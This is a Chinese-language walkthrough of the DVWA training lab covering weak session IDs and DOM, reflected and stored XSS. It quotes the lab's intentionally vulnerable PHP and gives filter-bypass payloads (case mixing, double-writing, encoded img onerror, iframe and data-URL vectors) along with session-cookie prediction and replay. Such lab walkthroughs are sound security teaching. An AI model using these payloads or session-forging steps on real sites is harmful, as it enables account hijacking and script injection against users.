欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

DVWA操作手册(三)Weak Session IDs,XSS反射-存储-DOM

程序员文章站 2022-06-02 12:34:13
...

2.8 Weak Session IDs

2.8.1 Low难度

核心源代码:

<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (!isset ($_SESSION['last_session_id'])) {
        $_SESSION['last_session_id'] = 0;
    }
    $_SESSION['last_session_id']++;
    $cookie_value = $_SESSION['last_session_id'];
    setcookie("dvwaSession", $cookie_value);
}
?>

漏洞分析:
可以看到,Low级别的代码cookie产生策略是:在上一个cookie值的基础上加一。当用户访问服务器的时候,Low级别的代码会先检查服务器是否存在名称为"last_session_id"的session,如果存在,取出其值,自加一后赋值给名称为"dvwaSession"的cookie。
利用:
点Generate,按F12查看headers信息,可以看到

dvwaSession=2; security=low; PHPSESSID=5gu342kf3e7rp8bf5fjrjtmhho

dvwaSession就是生成的需要测试的SessionID,PHPSESSID是在访问时服务器分配给我的,不是用来测试的。再点Generate,可以看到dvwaSession=3,再点几次,依次加一,显而易见dvwaSession生成方法就是一次加1。在另一个浏览器*问这个网址,burpsuite抓包,添加Cookie如下

dvwaSession=3; security=low; PHPSESSID=5gu342kf3e7rp8bf5fjrjtmhho

成功访问。

2.8.2 Medium难度

依旧点Generate,按F12查看headers信息,可以看到

dvwaSession=1551608372; security=medium; PHPSESSID=5gu342kf3e7rp8bf5fjrjtmhho

多点几次Generate,可以看到dvwaSession为1551608374,1551608380。这是自 Unix 纪元(January 1 1970 00:00:00 GMT)起的到当前时间的秒数。就应该是按照时间来生成的SessionID的(time函数)。依旧在另一个浏览器*问这个网址,burpsuite抓包,添加如上Cookie。成功访问。

2.8.3 high难度

依旧点Generate,按F12查看headers信息,可以看到
dvwaSession=aab3238922bcc25a6f606eb525ffdc56
32位字符。由0-9和a-f组成猜想应该是MD5,拿到网站去解密,为14,在测试几次,发现就是如low一样从0开始每次加1,然后经过MD5加密,作为SessionID。依旧在另一个浏览器*问这个网址,burpsuite抓包,添加上Cookie。成功访问。

2.9 XSS(DOM)

2.9.1 Low难度

服务器端核心代码

<?php
# No protections, anything goes
?>

可以看到,前端使用 document.write() 动态生成页面,服务器端代码没有任何的保护性措施!
页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤。

我们可以构造XSS代码,访问链接:
http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=

DVWA操作手册(三)Weak Session IDs,XSS反射-存储-DOM

2.9.2 Medium难度

php服务端核心代码:

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];  
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}
?>

前端代码:

<form name="XSS" method="GET">
    <select name="default">
        <script>
            if (document.location.href.indexOf("default=") >= 0) {
                var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
                document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
                document.write("<option value='' disabled='disabled'>----</option>");
            }
            document.write("<option value='English'>English</option>");
            document.write("<option value='French'>French</option>");
            document.write("<option value='Spanish'>Spanish</option>");
            document.write("<option value='German'>German</option>");
        </script>
    </select>
    <input type="submit" value="Select" />
</form>

可以看到“

2.9.3 high难度

服务端核心源码:

<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}
?>

URL中#之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
payload:
?default=English#
DVWA操作手册(三)Weak Session IDs,XSS反射-存储-DOM

2.10 XSS(Reflected)

2.10.1 Low难度

未作任何过滤所以可以直接使用

<script>alert(/xss/)</script>
2.10.2 Medium难度

服务端源码:

<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?> 

中级难度对script标签做了过滤,可以使用事件绕过

1.大小写绕过:

<ScRipt>alert(/xss/);</ScRipt>

2.双写方式绕过 str_replace()函数

<scr<script>ipt>alert(/xss/);</script>

3.使用非 script 标签的 xss payload

例如:

img标签:

<img src=1 onerror=alert('xss')>

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

iframe标签:

其他标签和利用还有很多很多….
2.10.3 high难度

服务端核心源码:

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}
?> 

可以看到,High Security Level的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
Exploit

虽然无法使用script标签注入 XSS 代码,但是可以通过img、body等标签的事件或者iframe、src等标签的构造可利用的js代码。

例如:

1.使用 img 标签和其编码转换后的 XSS payload

<img src=1 onerror=alert(/xss/)>

img标签编码转换后的XSS payload例如:

<img src=1 onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src=1 onerror=eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41))></img>
<img src=1 onerror=eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029")></img>

2.使用 iframe 标签

<iframe onload=alert(/xss/)>

3.使用 DATA URL 进行 XSS

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

其他的XSS payload还有很多很多…

2.11 XSS(Stored)

2.11.1 Low难度

没有任何过滤,直接使用弹窗代码。

<script>alert(/xss/)</script>
2.11.2 Medium难度
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

相关函数介绍

strip_tags()函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用标签。

addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了

Exploit
1.双写绕过

Burpsuite抓包改name参数为:

<sc<script>ript>alert(/xss/)</script>

2.大小写混淆绕过

Burpsuite抓包改name参数为<ScRipt>alert(/xss/);</ScRipt>:

3.使用非 script 标签的 xss payload:

例如:img标签:

Burpsuite抓包改name参数为<img src=1 onerror=alert(/xss/)>

其他标签和利用还有很多很多….

以上抓包修改数据Forward后,均成功弹窗:

2.11.3 high难度
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

可以看到,这里使用正则表达式过滤了

Exploit

Burpsuite抓包改name参数为<img src=1 onerror=alert(/xss/)>:

Forward后,成功弹窗.

2.11.4 impossible

服务端源码:

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到,通过使用htmlspecialchars函数将几种特殊字符转义为HTML实体,mysqli_real_escape_string函数对单引号’转义,防止进行SQL注入,彻底防治了存储型 XSS 的利用和危害。

相关标签: 安全平台/工具